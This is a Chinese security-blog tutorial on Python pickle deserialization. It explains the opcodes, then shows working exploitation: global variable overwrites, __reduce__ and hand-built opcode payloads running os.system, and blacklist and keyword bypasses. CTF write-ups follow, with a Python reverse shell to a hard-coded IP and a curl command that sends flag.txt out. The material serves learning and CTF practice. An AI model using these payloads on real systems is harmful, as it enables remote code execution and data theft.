Python 反序列化浅析

2023-05-18 12:01:30 浏览数 (1)

声明

文章首发于跳跳糖社区https://tttang.com/archive/1782/

前言

之前所接触的大多是PHP 反序列化题型,最近遇见了一道Python pickle反序列化类型题,因此学习了一下其反序列化,简单总结如下,希望能对各位师傅有所帮助。

Pickle

师傅们可自行先参考一下官方文档 https://docs.python.org/zh-cn/3/library/pickle.html

定义

模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。

通俗易懂的说,就是pickle实现了基本数据的序列化和反序列化。

方法

Pickle包含四种方法,具体如下所示

代码语言:javascript复制
pickle.dump(obj, file)
//将obj对象进行封存,即序列化,然后写入到file文件中
//注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
//将file这个文件进行解封,即反序列化
//注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
//将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
//将data解封,即进行反序列化
//注:data要求为bytes-like object(字节类对象)

有关字节类对象,可以看官方这里的介绍 https://docs.python.org/zh-cn/3/glossary.html#term-bytes-like-object 看到这里的话,其实也就明白了一点,常用的也就是dumpload,类似于PHP的seralizeunseralize 这里简单举个例子

代码语言:javascript复制
import pickle

zj = 'tttang'

filename = "tttang"
# 序列化
with open(filename, 'wb') as f:#以二进制可写形式打开tttang这个文件
    pickle.dump(zj, f) #将zj这个变量对应的字符串进行序列化并写入到f中
# 读取序列化后生成的文件
with open(filename, "rb") as f:
    print(f.read())

# 反序列化
with open(filename, "rb") as f: #以二进制可读形式打开tttang这个文件
    print(pickle.load(f)) #将这个文件进行反序列化并输出

运行结果 demo源码分析

想要理解反序列化,就得从最根本开始,因此这里从源码开始入手

ctrl 鼠标左键查看load源码 找到load方法 这里的大致含义就是将内容以二进制字节流形式读取并存放到file中,而后我们看到返回中利用了load()方法,继续跟进 这里主要看下面的这一点

代码语言:javascript复制
try:
    while True:
        key = read(1)
        if not key:
            raise EOFError
        assert isinstance(key, bytes_types)
        dispatch[key[0]](self)
except _Stop as stopinst:
    return stopinst.value

这里大致含义就是将字符串中的字符挨个进行读取,然后通过dispatch字典索引,调用对应方法 这里我们的字符串是

代码语言:javascript复制
b'x80x04x95nx00x00x00x00x00x00x00x8cx06tttangx94.'

第一步 第一个也就是x80,查一下这个x80

发现对应的是PROTO,那么这里的话就是 dispatch[PROTO[0]],其对应的是load_proto方法,跟进
代码语言:javascript复制
def load_proto(self):
    proto = self.read(1)[0]
    if not 0 <= proto <= HIGHEST_PROTOCOL:
        raise ValueError("unsupported pickle protocol: %d" % proto)
    self.proto = proto

发现这里是再读取一个字符串,然后这里的话是读取的x04,其含义大概是说这是一个根据四号协议反序列化的字符串

第二步 此时读取的字符串是x95,搜索过后发现其对应

代码语言:javascript复制
FRAME            = b'x95'  # indicate the beginning of a new frame

查这个frame对应函数,即load_frame

代码语言:javascript复制
def load_frame(self):
    frame_size, = unpack('<Q', self.read(8))
    if frame_size > sys.maxsize:
        raise ValueError("frame size > sys.maxsize: %d" % frame_size)
    self._unframer.load_frame(frame_size)

这里是又往后读取了八位代表frame的大小,这里的八位是nx00x00x00x00x00x00x00,表示其大小为0,后面的大致含义是将其进行二进制字节流转换然后赋值给current_frame

第三步 这里到了x8c,搜到对应的是SHORT_BINUNICODE,对应方法如下

代码语言:javascript复制
def load_short_binunicode(self):
    len = self.read(1)[0]
    self.append(str(self.read(len), 'utf-8', 'surrogatepass'))

这里又往下读取了一位,然后调用了append方法,我们跟进一下

代码语言:javascript复制
self.stack = []
self.append = self.stack.append

那么这里的话大致含义就是设置一个空数组,然后将读取的下一位存放进去(入栈),下一位是x06tttang,此时就把它存入栈中了

第四步 此时继续往下读取字符串,对应的是x94,对应方法是load_memoize,跟进

代码语言:javascript复制
def load_memoize(self):
    memo = self.memo
    memo[len(memo)] = self.stack[-1]

这里的话大致含义就是memo是个空数组,然后它将栈中-1对应元素取出,存入数组中

第五步 此时读取到最后一个字符串.,其对应的是stop,这里就结束了反序列化

示例及源码分析

上述只是一种简单的示例,抛砖引玉了属于是,而常见的序列化和反序列化,往往是出现在类和对象中,这里举出一个具体实例

代码语言:javascript复制
import pickle

class tttang:
    def __init__(self,name,age):
        self.name=name
        self.age=age
a=pickle.dumps(tttang("quan9i","19"))
print(a)

得到结果如下

代码语言:javascript复制
b'x80x04x95:x00x00x00x00x00x00x00x8cx08__main__x94x8cx06tttangx94x93x94)x81x94}x94(x8cx04namex94x8cx06quan9ix94x8cx03agex94x8cx0219x94ub.'

由于刚刚已经说过了具体代码,所以这里不再放出自定义函数对应代码(师傅们自行查看源码更能增强理解)

第一步 读取x80,其对应的是PROTO,这里调用load_proto方法,函数内容是读取下一个字符,读取到x04,这里的含义是表示这是一个根据四号协议序列化的字符串。

第二步 读取x95,其对应的是FRAME,这里调用load_frame方法,函数内容是读取八个字符串,这里是:x00x00x00x00x00x00x00,然后将其值进行二进制字节流转换赋值给current_frame

第三步 读取x8c,其对应的是SHORT_BINUNICODE,对应方法是load_short_binunicode,函数内容是向下读取一位,然后压入栈中

代码语言:javascript复制
stack:[__main__]

第四步 读取x94,其对应的是MEMOIZE,对应方法是load_memoize,函数内容是将栈中-1对应元素赋值给memo[0],这里的话就是memo[0]=x08__main,而memo等于{},那么这里就是{x08__main}

第五步 读取x8c,向下读取一位然后压入栈中,下一位是x06tttang,这里的话就是

代码语言:javascript复制
stack:[__main__,tttang]

第六步 读取x94,将栈中-1对应元素存入memo[1]中,这里的话就是memo[1]=tttang

第七步 读取x93,对应函数是load_stack_global,函数内容是将栈中元素取出一个,作为对象名,这里就是name=tttang,接下来再取出一个,作为类名,这里就是module=__main__,然后压入栈中

代码语言:javascript复制
stack:[<class '__main__.tttang'>]

第八步 读取x94,将栈中-1对应元素存入memo[2]中,这里的话就是将上面的字符串保存到memo[2]

第九步 读取),对应的是EMPTY_TUPLE,也就是向栈中加入空元组

代码语言:javascript复制
stack:[<class '__main__.tttang'>,()]

第十步 读取x81,对应函数是load_newobj,弹出()赋值给args,然后将class '__main__.tttang'赋值给cls,接下来cls.__new__(cls,*args)实例化对象,由于args为空,所以这里仍然是一个空的tttang对象

代码语言:javascript复制
stack:[<class '__main__.tttang'>]

第十步 读取x94,将上面实例化过后的对象存入memo[3]

第十一步 读取},往栈中压入空的字典

代码语言:javascript复制
stack:[<class '__main__.tttang'>,{}]

第十二步 读取x94,将上述字符串存入memo[4]

第十三步 读取(,对应方法为load_mark,函数内容是将栈中元素压入到metastack中,然后将栈置空

第十四步 读取x8c,向下读取一位压入栈中,下一位是x04name(x04代表name的长度),这里就是

代码语言:javascript复制
stack:[name]

第十五步 读取x94,这里的话栈中是name,因此就是memo[5]=name

第十六步 读取x8c,向下读取一位压入栈中,这里的话下一位是x06quan9i,因此就是

代码语言:javascript复制
stack:[name,quan9i]

第十七步 读取x94,即memo[6]=quan9i

第十八步 读取x8c,读取下一位x03age,所以栈为

代码语言:javascript复制
stack:[name,quan9i,age]

第十九步 读取x94,这里的话是memo[7]=age

第二十步 读取x8c,读取下一位x0219,所以栈为

代码语言:javascript复制
stack:[name,quan9i,age,19]

第二十一步 读取x94,即memo[8]=19

第二十二步 读取u,对应函数为load_setitems,将栈赋值给items变量,然后将metastack中的弹出赋值给栈,所以这里的栈就变成了<class '__main__.tttang'>,{},这里的话就是取出__main__.tttang作为字典,接下来进行range遍历

代码语言:javascript复制
__main__.tttang[items[0]]=items[1]
__main__.tttang[items[2]]=items[3]

因此这里就是

代码语言:javascript复制
__main__.tttang[name]=quan9i
__main__.tttang[age]=19

那么这里的话栈就变成

代码语言:javascript复制
stack:[<class '__main__.tttang'>,{'name':'quan9i','age':'19'}]

第二十三步 读取b,对应方法为load_build,弹出{'name':'quan9i','age':'19'}赋值给state,弹出class '__main__.tttang'赋值给inst,如果inst中存在setstate,就用setstate来处理state,否则就存入inst_dict

第二十四步 读取.,结束反序列化

大家在自行阅读源码过后也可以通过pickletools来查看自己的大体思路是否出错 这个模块调用也比较简单,如下所示

代码语言:javascript复制
import pickle
import pickletools
class tttang:
    def __init__(self,name,age):
        self.name=name
        self.age=age
a=pickle.dumps(tttang("quan9i","19"))
print(a)
pickletools.dis(a)

结果如下图 漏洞成因

Pickle之所以出现反序列化漏洞的原因,是因为pickle数据是完全可控的,我们可以用来表示任意对象,官方也声明了其危险性。

漏洞利用

全局变量覆盖

举个例子 现在存在一个文件secret.py,内容如下

代码语言:javascript复制
key='flag{xxx}'

如果我们能把它修改成tttang,就算是解题成功。那我们该怎么实现呢 方法的话其实是很简单的,我们只需要通过c操作符得到全局变量secret,然后利用b操作符修改属性值即可,构造payload如下

代码语言:javascript复制
c__main__
secret
(S'key'
S'tttang'
db.

测试代码如下

代码语言:javascript复制
import pickle
import secret

payload='''c__main__
secret
(S'key'
S'tttang'
db.'''

print('before:',secret.key)

output=pickle.loads(payload.encode())

print('output:',output)
print('after:',secret.key)

结果如下 函数执行

—reduce—方法

常见的利用方式是什么呢,我们这里就需要提到一个方法了,这个方法就是__reduce__方法,简单介绍一下

代码语言:javascript复制
__reduce__
调用:被定义之后,当对象被pickle时就会触发
作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle
	如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用

这里给出一个简单的demo

代码语言:javascript复制
#encoding: utf-8
import os
import pickle
class tttang(object):
    def __reduce__(self):
        return (os.system,('whoami',))
a=tttang()
payload=pickle.dumps(a)
print(payload)
pickle.loads(payload)

可以看到成功执行了命令 这个不仅可以实现函数利用,也可以实现反弹shell,如下所示

代码语言:javascript复制
import pickle
import os

class tttang(object):
    def __reduce__(self):
        a="""
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.255.142",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))

a = tttang()
pickle.loads(pickle.dumps(a))
编写opcode实现函数执行

函数执行,这就要提到opcode,也就是那序列化后的那些字符,它们都有一定的含义,我们也可以通过编写opcode实现函数执行, 具体的大家可以看这里 https://github.com/python/cpython/blob/main/Lib/pickle.py#L111 hachp1 大师傅总结了一下常用的opcode及其功能,如下所示(参考自https://xz.aliyun.com/t/7436)

opcode

描述

具体写法

栈上的变化

memo上的变化

c

获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)

c[module]n[instance]n

获得的对象入栈

o

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

o

这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈

i

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

i[module]n[callable]n

这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈

N

实例化一个None

N

获得的对象入栈

S

实例化一个字符串对象

S'xxx'n(也可以使用双引号、'等python字符串形式)

获得的对象入栈

V

实例化一个UNICODE字符串对象

Vxxxn

获得的对象入栈

I

实例化一个int对象

Ixxxn

获得的对象入栈

F

实例化一个float对象

Fx.xn

获得的对象入栈

R

选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数

R

函数和参数出栈,函数的返回值入栈

.

程序结束,栈顶的一个元素作为pickle.loads()的返回值

.

(

向栈中压入一个MARK标记

(

MARK标记入栈

t

寻找栈中的上一个MARK,并组合之间的数据为元组

t

MARK标记以及被组合的数据出栈,获得的对象入栈

)

向栈中直接压入一个空元组

)

空元组入栈

l

寻找栈中的上一个MARK,并组合之间的数据为列表

l

MARK标记以及被组合的数据出栈,获得的对象入栈

]

向栈中直接压入一个空列表

]

空列表入栈

d

寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)

d

MARK标记以及被组合的数据出栈,获得的对象入栈

}

向栈中直接压入一个空字典

}

空字典入栈

p

将栈顶对象储存至memo_n

pnn

对象被储存

g

将memo_n的对象压栈

gnn

对象被压栈

0

丢弃栈顶对象

0

栈顶对象被丢弃

b

使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置

b

栈上第一个元素出栈

s

将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中

s

第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新

u

寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中

u

MARK标记以及被组合的数据出栈,字典被更新

a

将栈的第一个元素append到第二个元素(列表)中

a

栈顶元素出栈,第二个元素(列表)被更新

e

寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中

e

MARK标记以及被组合的数据出栈,列表被更新

看过这个之后,就大致了解了每个opcode的作用,现在来说一下函数执行 函数执行常用的有以下几个操作符

R操作符

R操作符,其对应的函数如下所示

代码语言:javascript复制
def load_reduce(self):
    stack = self.stack
    args = stack.pop()
    func = stack[-1]
    stack[-1] = func(*args)

简单分析一下 弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素 因此这里的话,我们想执行的命令whoami放入栈中,再把system模块放入栈中,即可实现函数的函数执行 构造payload如下

代码语言:javascript复制
a=b'cosnsystemnXx06x00x00x00whoamix85R.'

解读一下, 字符c读取moduleos,读取namesystem,此时就构造出了os.system 字符X,往后读取四位x06x00x00x00whoami 字符x85,它将最后一个数据变成元组重新入栈 字符.,结束了反序列化

测试代码

代码语言:javascript复制
import pickle
a=b'cosnsystemnXx06x00x00x00whoamix85R.'
flag=pickle.loads(a)
i操作符

i操作符,其对应函数如下所示

代码语言:javascript复制
def load_inst(self):
       module = self.readline()[:-1].decode("ascii")
       name = self.readline()[:-1].decode("ascii")
       klass = self.find_class(module, name)
       self._instantiate(klass, self.pop_mark())

分析函数 向下依次读取两行分别作为modulename,然后利用find_class寻找对应方法,通过pop_mark()函数得到参数,利用_instantiate函数执行,将结果存入栈中,pop_mark()对应代码

代码语言:javascript复制
def pop_mark(self):
    items = self.stack
    self.stack = self.metastack.pop()
    self.append = self.stack.append
    return items

简单分析一下,这里是获取当前栈赋给items,然后弹出栈内元素,再把这个栈赋值给当前栈,然后返回items 构造payload如下

代码语言:javascript复制
b'(Xx06x00x00x00whoamiiosnsystemn.'

解读一下 字符(,为了与后面的字符i作对应,i字符寻找上一个MARK来闭合,然后组合其内的数据作为元组,以此元组作为函数参数 字符X,向后读取四个字符串x06x00x00x00whoami而后压入栈中 字符i,往后读取两行得到os.system,调用参数并执行 字符.,结束反序列化

测试代码

代码语言:javascript复制
import pickle
a=b'(Xx06x00x00x00whoamiiosnsystemn.'
b=pickle.loads(a)
o操作符

o操作符,其对应函数如下所示

代码语言:javascript复制
def load_obj(self):
    # Stack is ... markobject classobject arg1 arg2 ...
    args = self.pop_mark()
    cls = args.pop(0)
    self._instantiate(cls, args)

简单分析一下,这个函数先弹出栈中一个元素作为args,也就是参数,而后再弹出第一个元素作为函数,调用_instantiate函数自执行

构造payload如下

代码语言:javascript复制
b'(cosnsystemnXx06x00x00x00whoamio.'

解读一下 字符(,为了和之后的字符o对应,实现闭合,获取函数及参数 字符c,往后读取两行,得到函数os.system 字符X,往后读取四位得到x06x00x00x00whoami,即whoami 字符o,与(实现闭合,将第一个元素,也就是os.system作为函数,第二个元素whoami作为参数,执行 字符.,结束反序列化

测试代码

代码语言:javascript复制
import pickle
a=b'(cosnsystemnXx06x00x00x00whoamio.'
b=pickle.loads(a)
b操作符

b操作符,其对应函数如下所示

代码语言:javascript复制
def load_build(self):
    stack = self.stack
    state = stack.pop()
    inst = stack[-1]
    setstate = getattr(inst, "__setstate__", None)
    if setstate is not None:
        setstate(state)
        return
    slotstate = None
    if isinstance(state, tuple) and len(state) == 2:
        state, slotstate = state
    if state:
        inst_dict = inst.__dict__
        intern = sys.intern
        for k, v in state.items():
            if type(k) is str:
                inst_dict[intern(k)] = v
            else:
                inst_dict[k] = v
    if slotstate:
        for k, v in slotstate.items():
            setattr(inst, k, v)

简单分析一下,这个函数是当栈中存在__setstate__时,就会执行setstate(state),因此我们这里自定义一个__setstate__类,分别构造os.systemwhoami即可执行命令 构造payload如下

代码语言:javascript复制
b'c__main__ntttangn)x81}Xx0Cx00x00x00__setstate__cosnsystemnsbXx06x00x00x00whoamib.'

解读一下 字符c,往后读取两行,得到主函数和类,__main__.tttang 字符),向栈中压入空元祖() 字符},向栈中压入空字典{} 字符X,读取四位x0Cx00x00x00__setstate__,得到__setstate__ 字符c,向后读取两行,得到函数os.system 字符s,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.tttang:()},__setstate__,os.system 字符b,第一个元素出栈,此时也就是{'__setstate__': os.system},此时执行一次setstate(state) 字符X,往后读取四位x06x00x00x00whoami,即whoami 字符b,弹出元素whoami此时statewhoami,执行os.system(whoami) 字符.,结束反序列化

测试代码如下

代码语言:javascript复制
import pickle
class tttang:
    def __init__(self):
            self.name="quan9i"
a=b'c__main__ntttangn)x81}Xx0Cx00x00x00__setstate__cosnsystemnsbXx06x00x00x00whoamib.'
b=pickle.loads(a)

界限突破(绕WAF)

黑名单绕过

官方在声明Python反序列化时就已经意识到了其具有危险性,自然有一定的方法来进行防护。

官方给出的安全反序列化是继承了pickle.Pickler类,并重载了find_class方法

常见的是设置了一些黑名单来进行绕过,示例如下

代码语言:javascript复制
import pickle
import io
import builtins
__all__ = ('PickleSerializer',)
class RestrictedUnpickler(pickle.Unpickler):
    blacklist={'eval','exec','open','__import__','exit','input'}
    def find_class(self,module,name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins,name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden"%(module ,name))

这里设置了黑名单,禁止利用evalexec等函数 但我们会发现这里getattr没有被ban,__builtins__中存在着很多函数,这就意味着我们可以builtins.getattr('builtins', 'eval')来获取eval等黑名单函数。 构造payload如下

代码语言:javascript复制
builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',)

该如何编写对应的opcode呢? 一步步来即可

首先,构造出builtins.getattr,这里的话就用c操作符来调用出模块和函数,因此这里的话就写出了

代码语言:javascript复制
cbuiltins
getattr

接下来压入的话会发现,其中含有个对象,而其他压入的都是字符串,如果直接压入的话会出错,这里的话可以这样

代码语言:javascript复制
builtins = builtins.globals().get('builtins')

构造一下

代码语言:javascript复制
cbuiltins
globals  #得到builtins.globals
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.   #获取到globals中的dict类中的get方法

接下来再用dict.getglobals中就获取builtins就可以

代码语言:javascript复制
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals   #得到globals()
(tRS'builtins' #读取builtins
tR. #t是与(形成元组,R是执行,师傅们自行解读一下可以就理解了

写个简单的demo测试一下是否成功构造出了builtins

代码语言:javascript复制
import pickle,builtins

payload=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tR.
"""
a=pickle.loads(payload)
print(a)

接下来只需要构造eval就可以了,构造最终payload如下

代码语言:javascript复制
b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRS'eval'
tRp1
(S'__import__("os").system("whoami")'
tR."""

这个是通过R操作符实现的函数执行,也可以通过O操作符和i操作符实现,这里借用一下枫霄云大师傅的opcode

代码语言:javascript复制
o操作码:
b'x80x03(cbuiltinsngetattrnp0ncbuiltinsndictnp1nXx03x00x00x00getop2n0(g2n(cbuiltinsnglobalsnoXx0Cx00x00x00__builtins__op3n(g0ng3nXx04x00x00x00evalop4n(g4nXx21x00x00x00__import__("os").system("whoami")o.'

关键词绕过

之前提到变量覆盖的时候,用到了变量名key,而如果禁止使用这个关键词,我们该怎么办呢,有以下几种方法

V操作符绕过

这里可以借用V操作符来实现关键字绕过,V操作符可以实例化一个unicode字符串对象。 我们之前的payload

代码语言:javascript复制
c__main__
secret
(S'key'
S'tttang'
db.

修改过后的payload

代码语言:javascript复制
c__main__
secret
(Vu006bey
S'tttang'
db.

可以发现成功实现变量覆盖

十六进制绕过

S操作符是可以识别十六进制的,因此这里也可以对字符进行十六进制编码,从而绕过,构造payload如下

代码语言:javascript复制
c__main__
secret
(S'x6bey'
S'tttang'
db.
内置函数获取关键字

当我们引用某个模块时,我们可以通过sys.modules[xxx]来获取其全部属性,然后我们可以输出全部属性,示例如下

代码语言:javascript复制
import secret
import sys
print(dir(sys.modules['secret']))

成功找到关键词key,但发现这里是列表的形式(pickle不支持列表索引) 所以这里的话我们可以用函数reversed()将列表反序,然后用next()函数指向关键词从而实现输出关键词,示例如下

代码语言:javascript复制
import secret
import sys
print(next(reversed(dir(sys.modules['secret']))))

接下来只需要构造写出对应opcode即可 先写dir

代码语言:javascript复制
(c__main__
secret
i__builtin__
dir

此时再写reversed(因为过程是一样的,所以直接在c前面添加括号,在后面加i再接调用模块就可以)

代码语言:javascript复制
((c__main__
secret
i__builtin__
dir
i__builtin__
reversed

最后写next

代码语言:javascript复制
(((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next

接下来检验一下

代码语言:javascript复制
import secret
import pickle
import sys
opcode=b'''(((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.'''
print(pickle.loads(opcode))

成功输出key,接下来我们去修改一下之前的payload,把key改成这个,就可以啦

代码语言:javascript复制
import pickle
import secret

payload=b'''c__main__
secret
((((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
S'tttang'
db.'''
print('before:',secret.key)

output=pickle.loads(payload)

print('output:',output)
print('after:',secret.key)

实战

[CISCN2019 华北赛区 Day1 Web2]ikun

进入后发现有登录和注册界面,常规操作先注册后登录

提示要买到lv6,下划后发现可以买等级

这里没有lv6,点击下一页看看 仍然没有找到lv6,但发现参数是GET型传参

这意味着我们可以写个小脚本来查找lv6所在位置 发现lv3对应的代码是lv3.png,那么lv6对应的就是lv6.png
脚本如下
代码语言:javascript复制
import time
import requests
url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page="
for i in range(1,300):
    res = requests.get(url str(i))
    time.sleep(0.5)
    if "lv6.png" in res.text:
        print(i)
        break
181页,找到后发现价格是天价,买不起
这里抓包看一下

发现可以修改折扣,把这个discount修改为0.00000000000001然后发包

跳转到了另一个界面但无权限访问 再抓包

发现JWT,解码一下(解码网站https://jwt.io/) 我们这里想实现修改root为admin,需要有密钥,爆破密钥可以用工具c-jwt-cracker得到,链接如下 https://github.com/brendan-rius/c-jwt-cracker 破解后得到密钥为1Kun

抓包,将得到的值赋给JWT,再发包 手给我点废了也没点出来什么东西,这个时候才想起来看看源代码,又是被自己蠢到的一天
发现源码,下载下来看一下 在admin.py中发现
loads,这意味着存在Pickle反序列化,我们可以写个有reduce的类,然后在里面写入想要执行的命令,进行序列化,接下来传值给become就可以了 这里结果是return形式的,而不是print,所以os.system没回显,这里了解到commands.getoutput是有回显的,因此用它来执行命令,构造exp如下
代码语言:javascript复制
import pickle
import urllib
import commands

class flag(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a = flag()
print(urllib.quote(pickle.dumps(a)))
接下来同理,换一下语句就可以查看flag了
代码语言:javascript复制
import pickle
import urllib
import commands

class flag(object):
    def __reduce__(self):
        return (commands.getoutput,('cat /flag.txt',))

a = flag()
print(urllib.quote(pickle.dumps(a)))
[watevrCTF-2019]Pickle Store

开环境后发现这个flag卖1000,而我们只有500,随便买两个其他的,发现也没什么东西,看一下其他内容,发现session有点像某种编码过后的,其内容如下

代码语言:javascript复制
gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAMjllYTdlODgyODJmOTJmNGZmYzI5NzZmMTQ5MDU2OTdxB3Uu

结合题目,想到这里可能是pickle序列化后又进行了base64编码,因此我们进行反向操作,base64解码一下再进行反序列化,看看能得到什么,脚本如下

代码语言:javascript复制
import pickle
from base64 import *
a='gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAMjllYTdlODgyODJmOTJmNGZmYzI5NzZmMTQ5MDU2OTdxB3Uu'
print(pickle.loads(b64decode(a)))

结果如下

代码语言:javascript复制
{'money': 390, 'history': ['Yummy smörgåsgurka', 'Yummy standard pickle'], 'anti_tamper_hmac': '29ea7e88282f92f4ffc2976f14905697'}

这说明我们的推断是没有错误的,我们知道pickle存在反序列化漏洞,因此这里就可以利用pickle反序列化漏洞来解题 这里看起来是没有什么防护的,因此我们用简单的__reduce__来构造语句 尝试直接命令执行

代码语言:javascript复制
import base64
import pickle


class flag(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('cat /f*')",))
a = flag()
print( base64.b64encode( pickle.dumps(a) ) )

不幸的是这里报500了,可能对session进行了某种检测,那我们这里就用反弹shell来做 而后我们编写脚本获取payload

代码语言:javascript复制
import base64
import pickle

class payload(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('curl -d @flag.txt  ip:7777')",))
a = payload()
print(base64.b64encode(pickle.dumps(a)))

然后服务器开启监听 接下来修改session值为对应payload,刷新界面即可得到flag

后言

本人只是一个小白,在学习Python反序列化时对于opcode构造函数执行感到十分吃力,极有可能部分分析过程出现问题,如果有问题还请各位大师傅多多指正

0 人点赞